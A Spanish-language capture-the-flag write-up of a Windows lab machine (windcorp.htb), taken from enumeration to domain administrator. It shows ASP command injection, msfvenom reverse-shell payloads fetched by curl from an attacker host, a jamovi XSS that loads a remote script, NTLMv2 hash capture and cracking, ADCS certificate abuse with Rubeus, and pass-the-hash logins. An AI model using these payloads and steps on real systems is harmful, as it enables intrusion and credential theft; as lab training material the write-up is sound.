Enumeración
Iniciamos la máquina escaneando los puertos de la máquina con nmap
donde encontramos varios puertos abiertos, entre ellos el 80
que corre un servicio http
❯ nmap -Pn 10.10.11.102
Nmap scan report for 10.10.11.102
PORT STATE SERVICE
135/tcp open msrpc
443/tcp open https
445/tcp open microsoft-ds
593/tcp open http-rpc-epmap
49710/tcp open unknown
Con crackmapexec
podemos obtener información de la maquina asi como el dominio
que es windcorp.htb
ademas del nombre de la maquina que es EARTH
❯ crackmapexec smb 10.10.11.102
SMB 10.10.11.102 445 EARTH [*] Windows 10.0 Build 17763 x64 (name:EARTH) (domain:windcorp.htb) (signing:True) (SMBv1:False)
Para posibles proximos ataques o solo por comodidad agregaremos el dominio
al /etc/hosts
ademas el nombre
de la máquina que es EARTH
como otro dominio
❯ echo "10.10.11.102 windcorp.htb earth.windcorp.htb" | sudo tee -a /etc/hosts
La página web principal tampoco nos aporta nada, solo nos devuelve un error 404
Fuzzeando subdominios con wfuzz
al principal encontramos rapidamente www
❯ wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.windcorp.htb" -u https://windcorp.htb -t 100 --hh 315
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: https://windcorp.htb/
Total requests: 4989
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 200 1007 L 3245 W 46774 Ch "www"
Agregamos el nuevo dominio al archivo /etc/hosts
para que sepa a donde resolver
❯ echo "10.10.11.102 www.windcorp.htb" | sudo tee -a /etc/hosts
Si abrimos la web en el nuevo subdominio
nos muestra una página completamente diferente a la anterior, esta parece que es de una empresa llamada windcorp
Bajamos un poco y encontramos un apartado para contactar
a soporte, donde podemos ingresar varios campos de contacto, llenaremos todos con valor test
Al enviar estos datos nos lleva a una página de confirmación donde a través de una preview
nos refleja todos los campos que habiamos ingresado en el formulario
Access - webserver01$
Algo a probar ya que corre un IIS
por detras es inyectar codigo asp
ya que al ser reflejado en la preview puede que lo interprete y nos ejecute un comando
<%
Response.Write(CreateObject("WScript.Shell").exec("whoami").StdOut.ReadAll)
%>
Este codigo asp nos ejecutara un whoami
, lo enviamos en el campo de contacto
En la preview
muestra el codigo que enviamos y al interpretarse nos devuelve el output del comando whoami que lo ejecuta el usuario nt authority\system
Para ganar acceso iniciamos creando un exe
malicioso con msfvenom
que al ejecutarse nos envie una powershell
interactiva a nuestro host y lo compartimos
❯ msfvenom -p windows/x64/powershell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 1875 bytes
Final size of exe file: 8192 bytes
Saved as: shell.exe
❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Ahora simplemente como codigo asp
enviamos un payload que descargue el exe
malicioso en la maquina victima y otro que lo ejecute para que nos envie la shell
<%
CreateObject("WScript.Shell").exec("curl 10.10.14.10/shell.exe -o C:\ProgramData\shell.exe")
%>
<%
CreateObject("WScript.Shell").exec("cmd /c C:\ProgramData\shell.exe")
%>
Al hacerlo ganamos acceso como nt authority\system
en el equipo webserver01$
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.102
Windows PowerShell running as user WEBSERVER01$ on WEBSERVER01
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\windows\system32\inetsrv> whoami
nt authority\system
PS C:\windows\system32\inetsrv>
Access - localadmin
En el escritorio del usuario Administrator
en lugar de una flag nos encontramos un archivo llamado req.txt
, al leerlo nos damos cuenta que es un certificado
PS C:\Users\Administrator\Desktop> dir
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/24/2021 9:36 PM 989 req.txt
PS C:\Users\Administrator\Desktop> type req.txt
-----BEGIN CERTIFICATE REQUEST-----
MIICoDCCAYgCAQAwWzELMAkGA1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUx
ETAPBgNVBAoMCFdpbmRDb3JwMSQwIgYDVQQDDBtzb2Z0d2FyZXBvcnRhbC53aW5k
Y29ycC5odGIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCmm0r/hZHC
KsK/BD7OFdL2I9vF8oIeahMS9Lb9sTJEFCTHGxCdhRX+xtisRBvAAFEOuPUUBWKb
BEHIH2bhGEfCenhILl/9RRCuAKL0iuj2nQKrHQ1DzDEVuIkZnTakj3A+AhvTPntL
eEgNf5l33cbOcHIFm3C92/cf2IvjHhaJWb+4a/6PgTlcxBMne5OsR+4hc4YIhLnz
QMoVUqy7wI3VZ2tjSh6SiiPU4+Vg/nvx//YNyEas3mjA/DSZiczsqDvCNM24YZOq
qmVIxlmQCAK4Wso7HMwhaKlue3cu3PpFOv+IJ9alsNWt8xdTtVEipCZwWRPFvGFu
1x55Svs41Kd3AgMBAAGgADANBgkqhkiG9w0BAQsFAAOCAQEAa6x1wRGXcDBiTA+H
JzMHljabY5FyyToLUDAJI17zJLxGgVFUeVxdYe0br9L91is7muhQ8S9s2Ky1iy2P
WW5jit7McPZ68NrmbYwlvNWsF7pcZ7LYVG24V57sIdF/MzoR3DpqO5T/Dm9gNyOt
yKQnmhMIo41l1f2cfFfcqMjpXcwaHix7bClxVobWoll5v2+4XwTPaaNFhtby8A1F
F09NDSp8Z8JMyVGRx2FvGrJ39vIrjlMMKFj6M3GAmdvH+IO/D5B6JCEE3amuxU04
CIHwCI5C04T2KaCN4U6112PDIS0tOuZBj8gdYIsgBYsFDeDtp23g4JsR6SosEiso
4TlwpQ==
-----END CERTIFICATE REQUEST-----
PS C:\Users\Administrator\Desktop>
Si se la pasamos a openssl
para ver un poco de información en las primeras lineas nos muestra un nuevo subdominio
, sin embargo desde fuera no nos muestra nada
❯ openssl req -in req.txt -text -noout | head
Certificate Request:
Data:
Version: 1 (0x0)
Subject: C = AU, ST = Some-State, O = WindCorp, CN = softwareportal.windcorp.htb
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (2048 bit)
Modulus:
00:a6:9b:4a:ff:85:91:c2:2a:c2:bf:04:3e:ce:15:
d2:f6:23:db:c5:f2:82:1e:6a:13:12:f4:b6:fd:b1:
Tal vez hay mas equipos, al hacer un ipconfig
podemos ver nuestra interfaz de red que tiene el segmento 172.21.*.*
donde la puerta de entrada es la .48.1
PS C:\Users\Administrator\Desktop> ipconfig
Windows IP Configuration
Ethernet adapter vEthernet (Ethernet):
Connection-specific DNS Suffix . : .htb
Link-local IPv6 Address . . . . . : fe80::10d6:39ba:1ef7:bb5f%32
IPv4 Address. . . . . . . . . . . : 172.21.54.239
Subnet Mask . . . . . . . . . . . : 255.255.240.0
Default Gateway . . . . . . . . . : 172.21.48.1
PS C:\Users\Administrator\Desktop>
Agregamos esa ip con nuevo subdominio al archivo /etc/hosts
, pero algo a tener en cuenta es que no tenemos conectividad con ese equipo desde nuestro equipo
❯ echo "172.21.48.1 softwareportal.windcorp.htb" | sudo tee -a /etc/hosts
Usando chisel
creamos un tunel de tipo socks
para cuando una petición se envie al puerto 1080
local logre tener alcance y conectividad con los demas equipos
PS C:\ProgramData> curl 10.10.14.10/chisel.exe -o chisel.exe
PS C:\ProgramData> .\chisel.exe client 10.10.14.10:9999 R:socks
❯ chisel server --reverse --port 9999
server: Reverse tunnelling enabled
server: Listening on http://0.0.0.0:9999
server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening
Pasando a través de ese proxy
logramos acceder a la web que nos muestra una página web diferente a las 2 que ya habiamos visto antes desde fuera del equipo
Bajando un poco podemos ver un apartado llamado Our software
donde vemos algunos programas, al hacer clic en ellos apunta a una ip
y un nombre de archivo
Lo que podemos hacer es cambiar la ip
por una nuestra y enviar la petición, revisando trafico con wireshark
vemos que hace peticiones hacia el puerto 5985
❯ proxychains -q curl 'http://softwareportal.windcorp.htb/install.asp?client=10.10.14.10'
El puerto 5985 pertenece a winrm
asi que tal vez se esta enviando una autenticación, asi que para interceptarla corremos responder
y enviamos de nuevo la petición, al hacerlo logramos capturar el hash
en formato NTLMv2 del usuario localadmin
❯ sudo responder -I tun0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.3.0
[+] Listening for events...
[WinRM] NTLMv2 Client : 10.10.11.102
[WinRM] NTLMv2 Username : windcorp\localadmin
[WinRM] NTLMv2 Hash : localadmin::windcorp:1122334455667788:ECFD538F0B715A547C87ADA1A9116FD8:010100000000000099F628A94AD5D9012DA498DFBACE8D750000000002000800580049004400310001001E00570049004E002D00440048004900570054004D00300050003000310048000400140058004900440031002E004C004F00430041004C0003003400570049004E002D00440048004900570054004D00300050003000310048002E0058004900440031002E004C004F00430041004C000500140058004900440031002E004C004F00430041004C00080030003000000000000000000000000021000033B001D95924C40F55B0370B60D33C63ED50FA2B25656BF8DAE636E12F2D54C40A0010000000000000000000000000000000000009001E0048005400540050002F00310030002E00310030002E00310034002E0039000000000000000000
La contraseña es bastante debil por lo que la crackeamos facilmente usando john
❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
Secret123 (localadmin)
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
Comprobamos las credenciales con crackmapexec
y son válidas a nivel de dominio
❯ crackmapexec smb windcorp.htb -u localadmin -p Secret123
SMB windcorp.htb 445 EARTH [*] Windows 10.0 Build 17763 x64 (name:EARTH) (domain:windcorp.htb) (signing:True) (SMBv1:False)
SMB windcorp.htb 445 EARTH [+] windcorp.htb\localadmin:Secret123
Shell - diegocruz
Listando los recursos smb compartidos con crackmapexec
podemos encontrar privilegios de lectura o READ
en el recurso smb con el nombre Shared
❯ crackmapexec smb windcorp.htb -u localadmin -p Secret123 --shares
SMB windcorp.htb 445 EARTH [*] Windows 10.0 Build 17763 x64 (name:EARTH) (domain:windcorp.htb) (signing:True) (SMBv1:False)
SMB windcorp.htb 445 EARTH [+] windcorp.htb\localadmin:Secret123
SMB windcorp.htb 445 EARTH [*] Enumerated shares
SMB windcorp.htb 445 EARTH Share Permissions Remark
SMB windcorp.htb 445 EARTH ----- ----------- ------
SMB windcorp.htb 445 EARTH ADMIN$ Remote Admin
SMB windcorp.htb 445 EARTH C$ Default share
SMB windcorp.htb 445 EARTH CertEnroll READ Active Directory Certificate Services share
SMB windcorp.htb 445 EARTH IPC$ READ Remote IPC
SMB windcorp.htb 445 EARTH NETLOGON READ Logon server share
SMB windcorp.htb 445 EARTH Shared READ
SMB windcorp.htb 445 EARTH SYSVOL READ Logon server share
Nos conectamos con smbclient al recurso Shared
, navegando un poco entre los directorios en Analytics
encontramos varios archivos .omv
que son de jamovi
❯ impacket-smbclient windcorp.htb/localadmin:Secret123@earth.windcorp.htb
Impacket v0.11.0 - Copyright 2023 Fortra
Type help for list of commands
# use Shared
# ls
drw-rw-rw- 0 Wed Apr 28 10:06:06 2021 .
drw-rw-rw- 0 Wed Apr 28 10:06:06 2021 ..
drw-rw-rw- 0 Mon Apr 26 23:09:24 2021 Documents
drw-rw-rw- 0 Thu Jul 22 13:14:16 2021 Software
# cd Documents
# ls
drw-rw-rw- 0 Mon Apr 26 23:09:24 2021 .
drw-rw-rw- 0 Mon Apr 26 23:09:24 2021 ..
drw-rw-rw- 0 Thu Apr 29 09:50:33 2021 Analytics
# cd Analytics
# ls
drw-rw-rw- 0 Thu Apr 29 09:50:33 2021 .
drw-rw-rw- 0 Thu Apr 29 09:50:33 2021 ..
-rw-rw-rw- 6455 Thu Apr 29 09:50:33 2021 Big 5.omv
-rw-rw-rw- 2897 Thu Apr 29 09:50:33 2021 Bugs.omv
-rw-rw-rw- 2142 Thu Apr 29 09:50:33 2021 Tooth Growth.omv
-rw-rw-rw- 2841 Tue Aug 22 16:50:12 2023 Whatif.omv
# mget *
[*] Downloading Big 5.omv
[*] Downloading Bugs.omv
[*] Downloading Tooth Growth.omv
[*] Downloading Whatif.omv
#
Algo a tener en cuenta es que todos los usuarios
tienen privilegios FULL
en este directorio especifico por lo que podemos escribir
archivos en el recurso
❯ smbcacls -U localadmin%Secret123 "//windcorp.htb/Shared" "Documents/Analytics"
REVISION:1
CONTROL:SR|DI|DP
OWNER:WINDCORP\DiegoCruz
GROUP:WINDCORP\Domain Users
ACL:BUILTIN\Users:ALLOWED/OI|CI/FULL
ACL:NT AUTHORITY\SYSTEM:ALLOWED/OI|CI|I/FULL
ACL:BUILTIN\Administrators:ALLOWED/OI|CI|I/FULL
ACL:BUILTIN\Users:ALLOWED/OI|CI|I/READ
ACL:BUILTIN\Users:ALLOWED/CI|I/0x00000004
ACL:BUILTIN\Users:ALLOWED/CI|I/0x00000002
ACL:WINDCORP\DiegoCruz:ALLOWED/I/FULL
ACL:CREATOR OWNER:ALLOWED/OI|CI|IO|I/0x10000000
Buscando vulnerabilidades de jamovi
llegamos al poc de un CVE que mediante un XSS
logra conseguir RCE
, iniciamos unzipeando uno de los archivos .omv
❯ unzip Whatif.omv
Archive: Whatif.omv
inflating: META-INF/MANIFEST.MF
inflating: index.html
inflating: metadata.json
inflating: xdata.json
inflating: data.bin
inflating: 01 empty/analysis
La vulnerabilidad esta en el archivo metadata.json
, el campo name
de dataSet.fields, simplemente cambiamos el nombre por un payload de XSS
que cargue un .js
❯ cat metadata.json | jq | head
{
"dataSet": {
"rowCount": 150,
"columnCount": 5,
"removedRows": [],
"addedRows": [],
"fields": [
{
"name": "Sepal.Length",
"id": 1,
❯ cat metadata.json | jq | head
{
"dataSet": {
"rowCount": 150,
"columnCount": 5,
"removedRows": [],
"addedRows": [],
"fields": [
{
"name": "<script src=\"http://10.10.14.10/pwned.js\"></script>",
"id": 1,
Una vez modificado el archivo json
podemos volver a comprimirlo usando zip
❯ zip -r Whatif.omv .
adding: META-INF/ (stored 0%)
adding: META-INF/MANIFEST.MF (deflated 30%)
adding: metadata.json (deflated 78%)
adding: data.bin (deflated 84%)
adding: xdata.json (deflated 33%)
adding: 01 empty/ (stored 0%)
adding: 01 empty/analysis (deflated 8%)
adding: index.html (deflated 67%)
Ya que podemos escribir en el directorio Analytics subimos nuestro archivo omv
modificado y esperamos a que el usuario lo ejecute y cargue nuestro .js
❯ impacket-smbclient windcorp.htb/localadmin:Secret123@earth.windcorp.htb
Impacket v0.11.0 - Copyright 2023 Fortra
Type help for list of commands
# use Shared
# cd Documents\Analytics
# put Whatif.omv
#
Creamos el js que interpretara con el XSS
, sera uno que ejecute un comando el cual descargara nuestro exe
malicioso y lo ejecutara para enviarmos una powershell
❯ cat pwned.js
require('child_process').exec('curl 10.10.14.10/shell.exe -o C:\\ProgramData\\shell.exe && C:\\ProgramData\\shell.exe')
❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Despues de unos segundos recibimos 2 peticiones, la primera del XSS
que hace una petición a pwned.js
y cuando lo interpreta descarga el archivo shell.exe
❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.102 - - "GET /pwned.js HTTP/1.1" 200 -
10.10.11.102 - - "GET /shell.exe HTTP/1.1" 200 -
Una vez descarga y ejecuta el shell.exe
recibimos una shell como diegocruz
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.102
Windows PowerShell running as user diegocruz on EARTH
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\System32> whoami
windcorp\diegocruz
PS C:\Windows\System32> type C:\Users\diegocruz\Desktop\user.txt
f1c**************************dce
PS C:\Windows\System32>
Shell - Administrator
Entre los recursos smb podiamos ver CertEnroll
que pertenece a los servicios de ADCS, usando Certify podemos buscar templates vulnerables para el usuario actual
PS C:\ProgramData> .\Certify.exe find /vulnerable /currentuser
_____ _ _ __
/ ____| | | (_)/ _|
| | ___ _ __| |_ _| |_ _ _
| | / _ \ '__| __| | _| | | |
| |___| __/ | | |_| | | | |_| |
\_____\___|_| \__|_|_| \__, |
__/ |
|___./
v1.1.0
[*] Action: Find certificate templates
[*] Using current user's unrolled group SIDs for vulnerability checks.
[*] Using the search base 'CN=Configuration,DC=windcorp,DC=htb'
[*] Listing info about the Enterprise CA 'windcorp-CA'
Enterprise CA Name : windcorp-CA
DNS Hostname : earth.windcorp.htb
FullName : earth.windcorp.htb\windcorp-CA
Flags : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
Cert SubjectName : CN=windcorp-CA, DC=windcorp, DC=htb
Cert Thumbprint : 280458EB20AE6B8A8FFE9B428A5078094F91B3E8
Cert Serial : 3645930A75C5C8BA4AAC0A5C883DEE60
Cert Start Date : 5/24/2021 7:48:07 PM
Cert End Date : 5/24/2036 7:58:07 PM
Cert Chain : CN=windcorp-CA,DC=windcorp,DC=htb
UserSpecifiedSAN : Disabled
CA Permissions :
Owner: BUILTIN\Administrators S-1-5-32-544
Access Rights Principal
Allow Enroll NT AUTHORITY\Authenticated UsersS-1-5-11
Allow ManageCA, ManageCertificates BUILTIN\Administrators S-1-5-32-544
Allow ManageCA, ManageCertificates WINDCORP\Domain Admins S-1-5-21-3510634497-171945951-3071966075-512
Allow ManageCA, ManageCertificates WINDCORP\Enterprise Admins S-1-5-21-3510634497-171945951-3071966075-519
Enrollment Agent Restrictions : None
[+] No Vulnerable Certificates Templates found!
CA Name : earth.windcorp.htb\windcorp-CA
Template Name : Web
Schema Version : 2
Validity Period : 10 years
Renewal Period : 6 weeks
msPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT
mspki-enrollment-flag : PUBLISH_TO_DS
Authorized Signatures Required : 0
pkiextendedkeyusage : Server Authentication
mspki-certificate-application-policy : Server Authentication
Permissions
Enrollment Permissions
Enrollment Rights : WINDCORP\Domain Admins S-1-5-21-3510634497-171945951-3071966075-512
WINDCORP\Enterprise Admins S-1-5-21-3510634497-171945951-3071966075-519
All Extended Rights : WINDCORP\webdevelopers S-1-5-21-3510634497-171945951-3071966075-3290
Object Control Permissions
Owner : WINDCORP\Administrator S-1-5-21-3510634497-171945951-3071966075-500
Full Control Principals : WINDCORP\webdevelopers S-1-5-21-3510634497-171945951-3071966075-3290
WriteOwner Principals : WINDCORP\Administrator S-1-5-21-3510634497-171945951-3071966075-500
WINDCORP\Domain Admins S-1-5-21-3510634497-171945951-3071966075-512
WINDCORP\Enterprise Admins S-1-5-21-3510634497-171945951-3071966075-519
WINDCORP\webdevelopers S-1-5-21-3510634497-171945951-3071966075-3290
WriteDacl Principals : WINDCORP\Administrator S-1-5-21-3510634497-171945951-3071966075-500
WINDCORP\Domain Admins S-1-5-21-3510634497-171945951-3071966075-512
WINDCORP\Enterprise Admins S-1-5-21-3510634497-171945951-3071966075-519
WINDCORP\webdevelopers S-1-5-21-3510634497-171945951-3071966075-3290
WriteProperty Principals : WINDCORP\Administrator S-1-5-21-3510634497-171945951-3071966075-500
WINDCORP\Domain Admins S-1-5-21-3510634497-171945951-3071966075-512
WINDCORP\Enterprise Admins S-1-5-21-3510634497-171945951-3071966075-519
WINDCORP\webdevelopers S-1-5-21-3510634497-171945951-3071966075-3290
PS C:\ProgramData>
Encontramos el template Web
vulnerable para el ca windcorp-CA
, podemos explotarlo ya que como Owner tiene al grupo webdevelopers
al que pertenecemos
PS C:\ProgramData> Get-ADPrincipalGroupMembership DiegoCruz | Select Name
Name
----
Domain Users
webdevelopers
PS C:\ProgramData>
Podriamos usar el modulo ADCS.ps1 sin embargo hay un problema con el UPN
y es que los UPN de todos los usuarios tienen errores como diegocruz que tiene .thm
$TargetUPN = $user.userprincipalname
PS C:\ProgramData> Get-DomainUser DiegoCruz | Select UserPrincipalName
userprincipalname
-----------------
Diego.Cruz@windcorp.thm
PS C:\ProgramData>
El de Administrator
tampoco esta funcional asi que en lugar del UPN
usaremos el samaccountname
que siempre contiene solo el nombre de usuario sin errores
$TargetUPN = $user.samaccountname
PS C:\ProgramData> Get-DomainUser DiegoCruz | Select SamAccountName
samaccountname
--------------
DiegoCruz
PS C:\ProgramData>
Una vez modificado descargamos e importamos el modulo además del PowerView
PS C:\ProgramData> curl 10.10.14.10/PowerView.ps1 -o PowerView.ps1
PS C:\ProgramData> curl 10.10.14.10/ADCS.ps1 -o ADCS.ps1
PS C:\ProgramData> Import-Module .\PowerView.ps1
PS C:\ProgramData> Import-Module .\ADCS.ps1
PS C:\ProgramData>
Ahora con la funcion de ADCS.ps1
generamos la solicitud de certificado a la CA pasandole el template
vulnerable y el usuario objetivo que sera Administrator
PS C:\ProgramData> Get-SmartCardCertificate -Identity Administrator -TemplateName Web -NoSmartCard
PS C:\ProgramData>
Después de hacer eso en los certificados
del usuario actual aparecera uno nuevo
PS C:\ProgramData> dir Cert:\CurrentUser\My
PSParentPath: Microsoft.PowerShell.Security\Certificate::CurrentUser\My
Thumbprint Subject
---------- -------
18592151042BBBA86D2BDEEAD0D925319617AA34
PS C:\ProgramData>
Finalmente con Rubeus podemos pedir un TGT
como el usuario Administrator
aprovechando el certificado que obtuvimos y con /getcredentials
vemos su hash
PS C:\ProgramData> .\Rubeus.exe asktgt /user:Administrator /certificate:18592151042BBBA86D2BDEEAD0D925319617AA34 /getcredentials
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.3
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject:
[*] Building AS-REQ (w/ PKINIT preauth) for: 'windcorp.htb\Administrator'
[*] Using domain controller: fe80::a164:1a09:4f17:c177%11:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
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
ServiceName : krbtgt/windcorp.htb
ServiceRealm : WINDCORP.HTB
UserName : Administrator (NT_PRINCIPAL)
UserRealm : WINDCORP.HTB
StartTime : 8/23/2023 2:55:45 AM
EndTime : 8/23/2023 12:55:45 PM
RenewTill : 8/30/2023 2:55:45 AM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : 0gyXDVOKVxUJ1ZOmmCtyRg==
ASREP (key) : CB252D96A6E974533C0FF2170187FE68
[*] Getting credentials using U2U
CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData :
CredentialCount : 1
NTLM : 3CCC18280610C6CA3156F995B5899E09
PS C:\ProgramData>
Comprobamos con crackmapexec
el hash NT de Administrator y devuelve Pwn3d!
❯ crackmapexec smb windcorp.htb -u Administrator -H 3CCC18280610C6CA3156F995B5899E09
SMB windcorp.htb 445 EARTH [*] Windows 10.0 Build 17763 x64 (name:EARTH) (domain:windcorp.htb) (signing:True) (SMBv1:False)
SMB windcorp.htb 445 EARTH [+] windcorp.htb\Administrator:3CCC18280610C6CA3156F995B5899E09 (Pwn3d!)
Haciendo uso de psexec
podemos obtener una cmd como nt authority\system
donde podemos leer finalmente la flag
del usuario Administrator en su escritorio
❯ impacket-psexec windcorp.htb/Administrator@earth.windcorp.htb -hashes :3CCC18280610C6CA3156F995B5899E09
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Requesting shares on earth.windcorp.htb.....
[*] Found writable share ADMIN$
[*] Uploading file caZMBxbg.exe
[*] Opening SVCManager on earth.windcorp.htb.....
[*] Creating service niHR on earth.windcorp.htb.....
[*] Starting service niHR.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.2114]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
ce5**************************1cc
C:\Windows\system32>
Si quisieramos conectarnos al servicio de winrm
necesitariamos pasar por el proxy
que creamos antes por chisel, asi obtenemos una powershell
mas estable
❯ proxychains -q evil-winrm -i 172.21.48.1 -u Administrator -H 3CCC18280610C6CA3156F995B5899E09
PS C:\Users\Administrator\Documents> whoami
windcorp\administrator
PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
ce5**************************1cc
PS C:\Users\Administrator\Documents>